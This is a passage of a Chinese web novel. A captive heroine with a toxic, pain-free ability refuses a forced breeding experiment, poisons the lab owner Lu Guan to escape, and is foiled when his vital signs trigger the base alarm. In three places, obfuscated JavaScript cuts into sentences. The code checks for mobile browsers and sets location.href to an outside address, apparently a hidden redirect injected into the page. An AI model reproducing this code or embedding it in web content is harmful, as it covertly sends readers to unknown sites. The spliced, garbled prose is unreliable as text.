“这个更好闻,睡前吃一片。” 兰落右手举着药盒看了看,这是内服药,针对所有外伤都有促进恢复的作用。 她都没发现架子上有这玩意。 “你还挺如数家珍的,看来学得不错。”兰落把药扔在枕边,准备等他走了再仔细阅读说明书,万一这药能解毒她就不吃了。 祝见尘口袋里的通讯器响了几下,他皱着眉头看完上面的内容,一脸不高兴地收起来,嘴里胡乱念叨:“是学得不错,不然也没机会改名。” “你之前不叫祝见尘?”兰落随口问,站起来准备送客。 祝见尘沉默几瞬:“也叫祝见尘。” 又发神经了。 兰落没接话,抬起右手示意祝见尘赶紧出去:“通讯器一直在响,有事你就先走吧。” 祝见尘上下扫她一眼,嘿嘿一笑:“这么急着下逐客令?我偏不走了。” 兰落放下手,眨眨眼缓解眼前的阵阵发黑,不想理会他的间歇性不要脸和持续性神经病。 “随、”她顿了顿,控制不住后仰,“随你。” 兰落三步并两步走到床边,想在眼前彻底陷入黑暗前找好支撑点。 但她终究是慢了一步,虽然成功扶住了床边,却没能稳稳坐下,反而一屁股坐在了地上。 祝见尘嘴里“哎哎哎”着就跑了过来,半跪在兰落面前,嗓音提高:“兰落?没事吧你?” 见兰落没什么反应,他伸手就去拉兰落的胳膊:“去检查一下吧。” 兰落看到他拉自己的左手,一时也顾不上什么了,抬起右手一下子攥住祝见尘的手腕:“没事,低血糖。” 祝见尘不知道信没信,反正是松开了手,任由兰落用力扯着他的手腕。 他手指动了动,忽视口袋里不断震动的通讯器,歪头凑到兰落面前,贴近看她的面色:“真的?你脸色太差了,我马上和陆观提一下,给你换换伙食……” “伙食怎么了?” 低沉的男声在门口响起。 他话音刚落,祝见尘怀里的通讯器就像死了一般安静,兰落越过祝见尘抬头向声音来源看去。 是陆观。 11. 融合 祝见尘还真是乌鸦嘴,一下就把人叫来了。 陆观的身后跟着几个全副武装的研究员,兰落有时候还挺佩服他们的反应力的,因为他们只有在陆观来基地的时候穿成这样,一看就知道是为了迎合陆观的洁癖。 陆观背着手,目光轻飘飘落在一坐一跪的两个人身上,闲庭信步走进来。 “第一次来你的房间,这里还是有些简陋了,有没有住得不舒服的地方?”陆观目光到处打量着说。 兰落知道他在和自己说话,只是还没来得及回答,祝见尘就抢先开口:“与其关心这些,不如把伙食提高一点。” 他嗓音凉凉的,说话间兰落甚至能感受到他浅浅的呼吸。 她这才发现他们似乎靠的有点近,在陆观和研究员的注视下多少有些不适,松开一直攥着祝见尘的手,往后退了点。 祝见尘手腕已经有了一圈淡红的痕迹,他们的目光不约而同落在这道红痕上,兰落有些惊讶,他皮肤太嫩了,自己的力气也算不上大,都能留下这么明显的痕迹。 祝见尘动了动手指,把手缩进口袋里。 “伙食都是按照营养标准来的,”陆观坐在不远处的沙发上,“你目光短,只想着吃饱,倒也正常。” 兰落不明白他们为什么一见面就掐起来,看上去关系似乎很差的样子。 既然关系这么差,祝见尘为什么还愿意待在陆观名下的基地干活? 祝见尘站起身:“没看见都难吃晕了吗?堂堂陆氏连雇两个厨子的钱都舍不得了?” “行了,”陆观背靠沙发,“别说这些没用的话,你既然闲着,就替张烈跑个腿,送两件设备去二号基地。” 祝见尘瞄了一眼兰落:“现在人手这么稀缺了?需要我亲自送货?” “缺倒是……”陆观敲敲手指,露出一个微笑:“不缺。” “只是你该多走动走动了,总留在这里,还不知道要闯什么祸。” 陆观视线从兰落身上飘过:“毕竟你最擅长闯祸了,不是吗?” “要不是你闯的祸,我的身体……”他轻笑着摇头,“算了,张烈,带他去送设备。” 陆观的身体不好,和祝见尘有关系? 兰落眼神在他们两个之间打转,总觉得陆观今天对祝见尘带着情绪。 再怎么样也不至于让他一个人送两台设备吧,这里的设备都又大又重,看来是真把祝见尘当驴用了。 祝见尘正大光明揉了揉兰落的脑袋,一言不发离开了这里。 兰落抬手捋顺自己的头发,有些好笑。 其实祝见尘有时候也挺怂的,不敢对着陆观发脾气就来磋磨她的头发。 “真难吃晕了?” 陆观翘着二郎腿,似笑非笑地看着兰落。 兰落撑着膝盖站起来:“没有,脚软了一下而已。” 她顿了顿,补充道:“但确实不太好吃。” “哪里有不合适的,就主动提出来,他们都会满足你的。” 陆观很宽容地开口:“不要闷不吭声,招来外人让你烦心。” 其实你比他还烦。 兰落心里这么想,嘴上却老实嗯了一声。 “好了,”陆观对研究员招招手,“这份文件你看看。” 候在旁边的研究员闻言赶紧从怀里拿出一份厚厚的纸质文件,踏着小碎步交到陆观手里。 陆观把文件平铺在茶几上,轻轻翻了几页。 不是要给她看吗,怎么自己翻起来了? 兰落耐着性子装乖,抬步挪到茶几旁,和陆观隔着一条茶几。 “这是什么?” 兰落视角下的文件是反着的,她只能看见几张流水线似的证件照,好像都是男的。 陆观看都没看她,随手撕掉一页:“这个,不行。” 那页纸被团起来,在空中划了个抛物线砸在地上。 刚刚递文件的研究员诚惶诚恐半蹲下身子,小心翼翼地捡起废纸展开,对着陆观解释:“他长相一般,但是有治愈系异能,我们本来想尝试融合出有治愈能力的……” 陆观竖起手掌阻止他:“不要解释,没有意义。” 兰落像个小母鸡一样夹着左臂,一声不吭地被他们晾在一边,眉心越来越皱。 什么意思? “什么融合?”她捏着衣角,心里隐隐有了不好的猜测。 兰落直觉这个所谓的“融合”不可能那么简单,如果只是把两个人的能力进行融合,那有什么必要专门找她?直接在实验室做融合实验不就行了吗? 陆观仿佛才想起来,轻挑了一下眉毛:“让他们解释给你听吧。” “别害怕,不是什么坏事。” 兰落从不把陆观假惺惺的安慰放在心上,他要是真那么善良,就不该建这所实验室,更不该把她买过来研究。 只是寄人篱下,难免要示弱,兰落垂着脑袋嗯了一声,表现得非常乖顺。 研究员清了清嗓子,揉搓着手里那页废纸说:“我们考虑到你已经成年,具备了成熟的生理条件,经过基地这段时间的培育在体质方面也有较大进步,所以我们初步判断你已经可以进行进一步的实验。” 兰落嘴角拉得平平的,想不明白为什么这个世界上有人能讲出这么多毫无重点的废话。 她顾忌陆观在场,尽量平和地问:“什么实验?融合又是指什么?” “额,”研究员沉吟几秒,“你要配合的实验就是融合实验,我们需要研究你的异能是否可以传播,以及能否与别人的异能相融合。” 说了半天还是废话。 “和嫁接的区别是什么?”兰落问,“面包……上次死掉的研究员不就可以嫁接异能吗?为什么不直接嫁接,反而要融合?” 陆观插话进来:“你怎么知道他是嫁接的?” 兰落看他一眼:“那天他和叶飞争执的时候我听到了,叶飞有点嫌弃他嫁接来的能力。” “呵,”陆观笑,“她的确清高。” “所以为什么不嫁接?”兰落把话题拉回正轨。 陆观给研究员使了个眼色,示意他继续解释。 研究员虽然在为兰落解惑,身子却诚实地面向陆观:“是这样的,目前的嫁接手段基本只能用于嫁接基础异能,比如硬化、石化或者兽化,剩下大部分复杂或者特殊的能力目前还是零成功率。” “不过为了保险起见,我们在提取了兰落的身体细胞之后,还是尝试了嫁接异能,但接受嫁接的几个实验体都失效了,有两个直接死于排异反应。” “虽然嫁接行为本来就有风险,但这场嫁接实验的排异反应确实大大高于其他品种的异能,也就是说兰落的异能天然排斥外来者。” “在此之后我们也尝试过将兰落的血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785888|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 液直接输入实验体的体内,想要观察这些血液能否作为药品,或者说作为麻醉品来使用。但据我们观察,实验体在电击时没有任何痛觉屏蔽效果,事后也没有愈合效果。” 研究员说完,重重咽了咽口水,呼吸都开始急促了起来。 他叽里咕噜一通发言,把自己累了个半死也没讲到兰落想听的重点。 她知道研究员口中的电击实验品是花子,但的确不知道他们还尝试过嫁接,还死了两个实验品。 他们算不算是被她间接杀死的? 兰落胡乱想着,心里却没多大波澜,来到这里的实验体,除了她自己,人人都有可能是短命鬼,何况害死他们的也是以陆观为首的实验团队,和她有什么关系? 如果要索命,就索陆观的命吧。 兰落在心里默默给这两个短命鬼出主意,耳朵却时刻注意着研究员接下来要说的话。 陆观始终没有抬头,闲散地翻看着茶几上的文件,时不时“嘶啦”一声撕掉一张扔在地上,完全没在意研究员说了什么。 不用想也知道,陆观肯定早就听过相关的实验报告了,哪里还需要再听一遍。 “所以,”研究员语气逐渐兴奋,“我们想要尝试一下另一种融合手段,看看这份能力能否直接通过母体进行传播,也就是遗传。” 兰落“唰”一下抬头,不可置信地盯着面罩也盖不住喜悦的研究员。 她没听错吧? 什么叫母体传播?什么叫遗传? 她抬头太猛,加上身体没有完全恢复,眼前又开始阵阵发晕,踉跄着后退两步,这才慢慢缓过来。 “吓到了?”陆观终于施舍了一个眼神,“我原本也想着,你的年纪还太小了,可能不适合做这些实验。” 他很怜悯似的,坐在沙发上从低处凝视兰落,眼神却带着不易察觉的傲慢:“但你的确已经符合生育条件,不痛的异能也能让你免受痛苦,所以这件事对你来说,不会很难以接受,对不对?” 兰落艰难开口,声音却像哽在喉咙里:“当然难以接受……如果非要做,为什么不直接人工培育?体外培育技术已经很成熟了不是吗?” “不行,”研究员一脸严肃,“我们尝试过,但毫无意外失败了,就像我刚才说的,你的异能非常排斥外来者,所以现在唯一有可能成功的手段就是母体自然培育。” “毕竟你的母亲既然能生出具有不死异能的龙凤胎,就证明这种异能在一定程度上是具备血缘传播途径的。” 兰落都快维持不住脸上的表情,心里越发烦躁,恨不能一炮轰死自己面前这两个脑子和屁股装反了的家伙。 她咬了咬唇,由于感知不到疼痛,差一点就把嘴唇内侧咬出伤口,幸好理智占了上风才及时松开牙齿。 陆观叹一口气,把被撕得残缺不全的文件转了一个方向推到兰落面前:“别怕,先看看,我已经替你筛选过了,这些男性的外貌体型以及异能都还不错。” 兰落伸手捏起文件一角,被撕得不太厚的文件就抖落开,露出内页一张证件照,上面是一个长相清秀的年轻男人。 要是放在以前,兰落或许会觉得他长相出众,但看过祝见尘那张出尘小白脸之后,这张照片就只能勉强算作清秀了。 “陆先生,”她抖了抖文件,扬起一个内敛的微笑: “您这是,真拿我当畜生了。” 12. 机会 兰落话音刚落,研究员就一脸震惊地盯着她,似乎很讶异。 不只是他,连向来一脸镇定、喜怒不形于色的陆观表情都有一瞬的崩塌。 他敛下眼睛垂头盯着地面,没几秒就轻轻笑出了声。 兰落觉得他们兄弟俩可能都有病。 她面无表情看着他微颤的肩膀,笔挺的西装已经被压出了小小的褶皱,这点无伤大雅的潦草让陆观看起来多了一分微不足道的人味儿。 ——当然了,离人还是很远。 兰落的脑子已经平静下来了,只有心脏还在轻拍着胸腔。 其实她刚刚那句怒怼也不过是脱口而出,完全没经过大脑思考。 现在平静下来,兰落心里倒也没多少后怕,反正有本事整死她,整不死她就相当于零伤害,真要破罐子破摔的话,她谁也不怕。 “你,”陆观突兀开口,眼中带着尚未消退的笑意凝视着兰落,“怎么越来越有脾气了?” “早知道不把姓祝的放进来了,这么短的时间就把你教坏了。” 陆观摇摇头,抱怨得真真假假,徒留研究员在旁边一脸便秘地剖析他的言下之意。 兰落还是没什么表情,心里十分不屑。 她原本就是这样的人,和祝见尘有半毛钱关系。 都怪祝见尘不及时查看通讯器消息,让陆观打了个措手不及。 不对,祝见尘好像看了,只是没告诉她而已。 兰落皱着眉,立刻收回了刚刚对祝见尘微不足道的同情。 ——就该让他多扛点设备,最好把他压死。 兰落转身背对着陆观,语气冰冷:“这件事我不可能答应,如果你们一定要做,就像之前一样把我架进手术室吧。” “一想到在我不知道的情况下,你们差点替我做出了一个后代,我就恶心得要命。” 陆观头痛地揉着太阳穴:“不,你错了。” “你不应该把它视为后代,它只是一颗实验的种子,你不需要对它负任何责任,等实验结束,你依然可以过你想要的生活。” 兰落想反驳,却不知道自己能说什么。 “一定要这样做是吗?” 她嗓音透着疲惫。 陆观沉默看着兰落没说话,研究员看了看他的脸色,站出来发言:“是,但这也是为了帮你看清自己的能力,以后你也能更好运用这份力量。” 兰落深吸一口气,脑子飞快运转,一时之间也只能先拖延时间:“行,我答应。” 她转身看着陆观,脸上带着三分愤怒三分倔强和四分脆弱: “但我也有我自己的要求,名单上的这些人我全部都不接受,要么你们重新找,要么给我时间让我自己找。” 陆观缓缓起身,理了理衣角:“我来之前就预料到你不会答应了。” “虽然你的父母和我强调了你是个乖顺好脾气的女孩,但我始终觉得你并不懦弱,甚至还有些小叛逆。” 他一步步走近:“如果我想的话,完全可以对你硬来,你的一切叛逆都将无计可施。” “知道我为什么选择征求你的意见吗?”他微微倾身,直视兰落的眼睛。 兰落避开他的视线,很识相地摆出下位者姿态:“不知道。” 陆观错开两步:“因为我很喜欢你,也非常喜欢你的异能。给你住最大的房间,最自由的权限,连实验都可以拒不配合,只为了实验体兰落能保持好心情。” “所以我相信我们可怜的实验体兰落,一定会明白我的良苦用心,努力配合的,对不对?” 兰落还以为他能说出什么有用的话,结果说来说去还是想洗脑她。 “是,”她右手紧握,努力怂下去,“我可以配合,但我说了,我不同意名册上的人,我要新的人选。” 研究员眼看她松口了,直接顺杆往上爬:“这些人已经是我们综合考虑下来非常合适的人选了,短时间内我们也找不到其他优质对象。况且你还没看呢,怎么知道不合……” “没和你说话!” 兰落突然扬起一只杯子,狠狠摔在了研究员脚下。 玻璃碎片纷飞,定格了一室的吵闹。 兰落红着眼眶不说话,看起来十足的倔强小白花。 研究员后撤几步,像被她突如其来的发疯震慑到了,捏着嗓子一言不发。 陆观脸色倒是没变,很自然地开口:“打扫一下,碎片容易伤人。” 研究员不情不愿地蹲在地上捡玻璃,兰落看着他怨怼的身影,心里爽了几分,但不敢表现出来,继续装成柔弱倔强的样子。 “行了,”陆观耐心十足,“说说吧,想要什么样的。” 兰落哪里知道自己要什么样的,她什么样的都不想要,只是想拖延点时间而已。 “不能太瘦不能太胖,不能太高不能太矮,不能太白不能太黑,不能太年轻不能太老,不能太吵不能太安静。” 她盯着地面扯谎,右手开始无意识摩挲左肘上愈合了一小半的伤口。 “小女孩,”陆观不知道信没信,“都是完美主义。” 他叹气:“说点具体的吧,哪怕是偶像也可以,我有办法办到。” 兰落不追星,也没有偶像,从小到大接触过的男性屈指可数,其中一半都是青蛙一样丑陋聒噪的烦人精。 她越来越烦躁,指甲深深嵌进伤口。 谁呢? 谁呢…… 最好是现在没办法出现在基地,能为她拖延时间的人。 ——不在基地? 兰落突然想起什么,眼神唰的亮起来:“祝见尘!” “我选祝见尘!” 她怎么把这个神经病忘了! 祝见尘刚被遣送去送货,这几天肯定回不来,再加上陆观和祝见尘关系似乎不太好,说不定会因此反悔,重新物色人选,也能给她留点反应时间。 兰落本打算多踩踩点再考虑离开的事,现在看来,这件事必须提上日程了。 她必须要在被迫进行恶心实验之前找到机会离开,她必须尽快逃出这里! 兰落想得入神,一时没注意到陆观陡然下压的表情。 “祝见尘?” 他冷笑:“你喜欢那种货色?” 兰落一心勾勒基地路线图,听到陆观的反问也懒得思考,敷衍地嗯嗯两声。 根据她多次摸索,基地大致的机械眼分布情况和出口她都已经了如指掌。 之前“误入”的基地后方,应该的确有一个小门供研究员使用,但出入都需要验证身份信息,周围也有穿着白大褂伪装成研究员的保镖看守,想无声无息离开几乎不可能。 相比起来,基地大门似乎看上去更加容易逃跑了,至少没有研究员守着,而且能打开门的人就在这里…… 想到这,兰落心脏狠狠一跳,一个荒谬的想法逐渐涌出脑海。 既然要尽早逃,为何不现在逃?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785889|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陆观就在这里……只要挟持他,就能打开基地大门,逃出实验室。 ——机会!这是个好机会! 对,想办法避开研究员,放倒陆观,然后离开这里! 兰落能感觉到自己现在不太理智,她一旦兴奋起来,冲动就会逐渐影响大脑的思考,让她的行为变得不受控。 但有时候,恰恰是这种不受控的冲动才能带她冲出重围。 兰落舔舔唇,抚摸着伤口——好巧,她正好刚补充了毒素。 “让他出去,”她压着兴奋,“我不想让他听到。” 陆观没第一时间答应,他目光沉沉地看着兰落,半晌轻笑:“怎么?难道你对他的心思见不得人?” “是见不得人,但不是对他。” 兰落直勾勾看着陆观:“是对你。” 她毫无心理负担地看着研究员吃惊的表情和陆观逐渐缩小的瞳仁,一脸坦然。 “你确定要让他听着吗?”兰落用水灵灵的眼睛盯着他,“还是说,陆先生的确有这样的喜好?” 陆观眉头紧锁,一言不发。 兰落趁热打铁:“好,那就听着吧。你知道我为什么选祝见尘吗?” “因为你们是兄弟。你发没发现,其实你和他长得有几分相似……” “够了。”陆观终于松口,轻喝一声打断兰落的话。 他眼神锁住兰落,抬起右手朝研究员挥了挥:“去工作吧。” 研究员的目光在他们两人之间转了转,没有犹豫,微微鞠了个躬就赶紧退了出去。 他离开之后,房间里就只剩下兰落和陆观两个人面对面站着,硬是把兰落口中暧昧的氛围站出了对峙的架势。 “说吧,”陆观重新坐上沙发,“你对我是怎么见不得人的?” ——想杀了他,算不算见不得人? 兰落抬起一只脚,朝着陆观走去:“这种事情和报告不一样,不是三言两语就能说明白的,更不是能直接用数据证明的。” “它需要感受。有些不能言说的心思,只需要靠你的感受就可以了,不是吗?”她的左手自然下垂,随行走微微摆动。 陆观半倚着沙发靠背,左手撑在太阳穴上,嘴边扯出一个笑,眼底却没什么感情:“怎么把锅推到我身上了?” “抱歉,我会证明的。” 兰落站着沙发前,居高不临下地看陆观。 她的态度恢复成了最开始的样子,胆怯害羞,眼里满是忐忑。 陆观扫视她:“怎么证明?” 兰落不答反问:“我能碰你吗?” “随意。”陆观好整以暇看着她,样子像极了对待一只猫或者一只狗。 总之不是人。 兰落颤抖着抬起左手,她的掌心向下,指尖蜷缩着,用指节触碰到陆观的脸颊。 他的皮肤很冷,兰落原本偏低的体温在他的对比下都显得十分温暖。 也许被她的体温惊讶到,陆观的神色有一瞬间的怔愣。 兰落注意到了这一瞬间的变化,电光火石之间,手指沿着他的脸颊飞速滑过,直接探进了陆观的唇缝之中。 陆观向来体面的形象顿时荡然无存,他抬手去扯兰落的手,然而体力却无法比拟异能者,被兰落牢牢占据了上风。 她的右手牢牢锁住陆观的下巴,遏制住他咬紧牙关的动作。 猩红的血液连成线,染红陆观没有血色的双唇,争先恐后涌进他的口腔。 13. 对峙 看着陆观被迫服下了自己的血,兰落眼中浮现出几分癫狂。 她几乎想要直接杀了他,就现在,就在这里,趁四下无人,杀了他! 但是她不能。 兰落不停告诉自己逃跑更重要,陆观的命,等离开基地再取也没关系。 陆观的神情逐渐从震惊变为愤怒,他的眼睛里燃烧着怒火,然而平日里不怒自威高高在上的脸,如今却失去了威力,让他的挣扎看上去如跳梁小丑一般无力。 兰落为了制服陆观,和他离得很近,身体几乎挨在了一起,从背面看上去,甚至有几分暧昧气氛。 如果忽略兰落满手的血和陆观狰狞的神色,任谁也不会想到他们正在激烈对抗。 但从正面看,气氛就完全变了。 兰落嘴边扬起兴奋的笑,眼里幽光浮动,她的血液起效很快,几乎在第一滴血进入他的口腔之后,陆观挣扎的力气就慢慢变小了。 她不敢掉以轻心,继续放血。 兰落的左手指尖不断传来轻微的跳动感,跳动的频率和心跳的节奏保持一致,可以说她浑身上下每个地方都产生了极度的兴奋和期待。 逃出这里的机会近在眼前,兰落怎能不激动? 血珠蜿蜒着流淌,有几丝血因为陆观的不配合偏转了方向,顺着他的下巴滑落。 兰落满脸可惜地盯着那几滴血:“真浪费,这可是我好不容易攒到的。” 陆观的表情已经平静下来,就连这种时刻,他都要维持着自己毫无用处的体面。 “你的血……” 他的口腔无法活动自如,说话非常含糊,但兰落还是听清楚了。 兰落甚至想夸他一句有研究精神,在她的钳制下还能如此求知若渴地想要了解她的血。 她皱着眉头看血流进去:“嘘,不要问,问多了会死。” 陆观的眼睛半闭起来,果然没有再说话。 她第一次见陆观的时候,就知道他是个很惜命的人,不然也不会恪守着站在安全线内不肯移动。 兰落站在他身前,抽出自己的手。 蛇头的毒效果很不错,他已经完全没有反抗的力气了。 她左手掐住陆观的脖子,防止他攻击自己,用空出来的右手在他怀里摸了摸,从质地良好的西装里摸出了一个小小的通讯器。 陆观的通讯器比基地的高级很多,也比她在外面见过的先进很多,兰落不屑地翻看了两下,把它扔在沙发最远处。 “呵呵……” 陆观竟然笑了,只是一笑起来就会露出染血的牙齿,有些滑稽。 “笑什么?”兰落垂眸问。 她刚刚虽然强逼着陆观喝了她的血,但手指的伤口还是太小,血流了一会儿就止住了,所以陆观摄入的毒素并不算多,至少和她被蛇头咬之后中的毒比起来好多了。 兰落怕陆观恢复太快,哪怕知道他体质一般也不敢轻易放手,时刻注意着他的一举一动。 陆观眼睛几乎眯成一条缝,仰着头看她:“你很谨慎。” “但你确定要这样做吗?就为了不生孩子?” 他唇角始终微微翘着,仿佛胜券在握。 兰落看他这幅死猪不怕开水烫的样子,心底的烦躁又开始翻涌:“我说了,问多了就死。” 她视线在周围扫视着,余光瞥到茶几下一小块玻璃碎片。 兰落飞快松开陆观,把碎片捡起来握在手里,然后转身重新压制住他。 这一整个过程不过几秒钟,她完全没有给陆观留下反应的时间,毫不犹豫地把玻璃碎片捏在手心。 陆观一直看着她的左手,在兰落鲜血涌出的时候终于开口:“刚刚还没闹够吗,小兰落?” “滚。”兰落双目被映出红色,不耐烦地开口骂他,一点面子都不想给陆观留。 陆观怔了怔,随后笑道:“好巧,我手里也有东西。” 兰落的侧腰被异物顶住,坚硬冰冷的质感让她瞬间猜出了这东西。 “你随身带枪?”她有些好笑又有点头疼。 陆观左手持枪,把银白小巧的枪口压在兰落的腰上:“总好过你随时自残。” 某种程度上,兰落很佩服他的谨慎和惜命,更多的却是嘲笑:“有本事开枪,我倒要看看你有没有扣动扳机的力气。” “你知道吗?”陆观岔开话题,“我很少和别人单独待在一起,只要出行,我的身边就必须保持至少一个有异能的守卫。” 兰落不懂他想表达什么:“所以呢?你在忏悔吗?忏悔自己不应该对我大意?” “是不该大意。”他继续说,“原本以为你只是有些小脾气,没想到你的胆子如此之大,竟然能做出这种事。” 陆观一脸不赞同:“你太冲动了。你有没有想过,万一今天失败了会有什么样的下场?” “不会失败。” 兰落脸上没有一丝害怕:“你配合的话我会顺利离开这里,你不配合的话我会弄死你,两种结果都是赢。” 陆观笑得枪都在轻轻抖动:“好孩子,真是好孩子,我更想让你生个孩子了。” “原本以为你和我单独相处是要诉说少女心事,我甚至考虑了一下,如果你想要和我进行融合实验也不是不可以。” “只是没想到,你满口都是对我的死亡宣判,真是……” “啪!” 兰落脸上的嫌恶越来越明显,听到这终于没忍住,挥起右手给了他一巴掌。 她用的力气不算大,但陆观毫无准备,还是被打得偏过脑袋。 他脸上的笑意一瞬间褪得干干净净,温和体面的面容有瞬间的狰狞。 陆观很快控制好表情,嗤笑一声:“过分了。” “还有更过分的。” 兰落不为所动,抬起血淋淋的左手,不由分说直接捅进陆观的嘴里。 新一轮鲜血争先恐后流进他的嘴里,陆观被迫吞咽着,面色逐渐涨红。 兰落为了方便把血灌进去,揪住他的头发逼迫他抬头,毫不客气地探入手指。 “呕……不……” 陆观下意识干呕,眼角渗出一滴生理性泪水,浑身都开始瘫软无力,就连坐姿都快保持不住,如同瘫痪一般向下滑。 银白色的手枪“啪嗒”一声落在地上,被兰落眼疾手快地踢进沙发底下。 再灌一点就好……再灌一点,他就会彻底被麻痹,失去行动能力,到时候她就可以挟持着陆观去开基地大门。 她不怕被研究员发现,只要绕过大厅,就基本不会和研究员正面碰上。 至于机械眼,只要她扶着陆观,让他看起来没那么奇怪就能蒙骗过去。就算被研究员从机械眼观察到了也没关系,她可不信这些研究员有胆子来陆观面前找存在感。 兰落舔了舔干燥的嘴唇,心脏的剧烈跳动震得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785890|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她浑身发麻,所有的胆子都被震到了最大。 她又不会疼,她又不会死,她有什么可怕的? “你最好乖乖配合我,不然有你好看。” 眼看着陆观已经开始翻白眼,兰落揪着他的领子,在他耳边恶狠狠威胁。 陆观嘴唇微动,吐出一口微弱的气息,似乎准备说什么。 “你……” 他艰难吐出一个字眼。 兰落侧耳听着,内心鄙夷他的身体也太差了,自己被毒的时候可是没这么虚弱。 陆观吸进一口气:“我不会……” 话才说了一半,陆观就两眼一翻,彻底晕死过去。 兰落不可置信地摇了摇,陆观就像一块死猪肉一样随她摆弄,毫无意识。 这就晕死了? 身体状况和祝见尘相比完全一个天一个地啊。 她凑近陆观,试探着摸他的颈部,感受到微弱的跳动——没死。 说不上是庆幸还是可惜,兰落用手背擦掉他脸上沾着的血渍,防止被看出异常。 已经成功一半了,只要接下来顺利带着陆观去开门就好,等出了基地,任何人都奈何不了她。 至于追捕和藏身之处,只要能逃出去,一切都不是问题…… 兰落揽住陆观的肩,正准备行动,门外就响起了刺耳的警报声。 此起彼伏的尖啸瞬间响彻整个基地,沉重的鼓点声伴随着这些刺耳警报震荡着。 兰落被吓了一跳,这些警报来得太巧了,她很难不怀疑和自己有关。 啪嗒啪嗒的脚步声杂乱无章地靠近兰落的房间,她顿感不妙,粗略看了一下陆观的外表,确定看不出异常才稍微放心,侧耳倾听着外面的动静。 近了,脚步近了! 兰落心中警笛狂响,大脑飞速运转。 刺耳的警报仍然在尖啸,那些急促的脚步却突然停下了。 ——就停在兰落的门前。 没有任何敲门问候的动作,她的门把手直接被拧动,动作粗鲁又迅速。 兰落心一横,直接扑在了陆观身上,眼中飞快漫出水意。 “砰!” 大门被粗暴打开,兰落眼中含水,一脸惊慌失措地看着门口。 门口聚集了许多研究员,一个个探头探脑地朝内看。 “陆先生!警报响了,您没事吧!” 张烈遥遥喊了陆观一声,脚步却没往前。 兰落眼神微动,突然把陆观放开,对着研究员哭喊:“你们快救救陆先生!他突然晕倒了!” “陆先生!” “陆先生……” 听到兰落的呼救,以张烈为首的研究员才像得到准许一般狂奔过来扶住瘫倒在沙发上的陆观。 手忙脚乱之间,不知谁撞到了兰落,她无力跌坐在地,掌心刚好压住了地面上的碎玻璃,左手顿时被划出长长的伤口。 她把左手护在怀里,一步步后退,远离这些研究员。 背对着这些研究员,兰落收回了惊慌害怕的表情,一脸阴沉看着他们。 不爽,太不爽了。 陆观到底有多怕死,才会把自己的生命体征和整个基地的警报系统连在一起? 兰落咬着口腔内壁的肉,心情一落千丈,刚才的兴奋与期待都被浇了个透心凉。 迟早让他死在自己的警报里,让整个基地的警报给他送葬! 14. 安慰 兰落脑中疯狂思考着该如何让自己在陆观醒来前平安脱身,不然等他醒了,肯定第一个找她算账。 “烦死了!” 兰落在心里把陆观这个废物骂了八百遍。 明明差一点就成功了,怎么偏偏出了这种意外! 她眼睁睁看着一大帮研究员簇拥着把死鱼一样的陆观抬走,不甘心地朝左手的伤口喷药。 早知道刚刚不演了,白挨一下。 兰落本来还怕这些研究员发现她的伤口从而怀疑她,在他们涌到陆观身边的时候故意被撞在玻璃碎片上,假装手上的伤口是因此出现的。 哪想到这些研究员一个个慌了神,完全把她当成了空气,根本没人注意到她,更别提手上的伤了。 研究员一窝蜂把陆观带走之后,兰落的房间总算安静下来了,只不过很多东西都被他们撞得东倒西歪,一副被抢劫的样子。 祝见尘好不容易理好的药架子也被撞歪了,好几瓶药都在地上滚来滚去。 一群没素质的。 “那个……” 张烈突然从外面探头进来,看兰落的眼神带着几分微妙。 “怎么了?”兰落切换成后怕的表情问。 张烈一边着急地看陆观被送走的方向,一边快速开口:“你先待在房间里尽量不要外出,等陆先生的身体好转了我们再带你见他,到时候你……呃……有什么没说完的话可以接着说,但现在尽量不要外出,好好待在这里。” 他磕磕绊绊地说完,也不等兰落回答就逃一样走了,还不忘把门摔起来。 兰落敢保证他肯定误会了什么,不然不可能对她如此客气,甚至可以说是手足无措。 他们的陆先生和一个实验体单独待在一起没多久就陷入了昏迷,张烈不仅不问责她,反而好声好气安抚她,真不知道该说是没脑子还是关心则乱。 陆观眼光够差的,张烈连叶飞十分之一都比不上。 不过这倒是正好方便了兰落,省的她还要花心思把自己从嫌疑人里摘出来。 她没听张烈的,在伤口不渗血之后就正大光明地离开了房间,直奔大厅。 大厅里空荡荡的,只有一个研究员一脸生无可恋地守在这里,根本就不抬头看电子屏。 看见兰落过来,她也没说什么,继续像个雕塑一样坐着。 兰落瞄了瞄纷乱的电子屏,上面分布着基地公共空间的机械眼画面,但大多集中在基地前方,像后方的鸽子笼、研究员休息室包括隐藏的后门都不在其中。 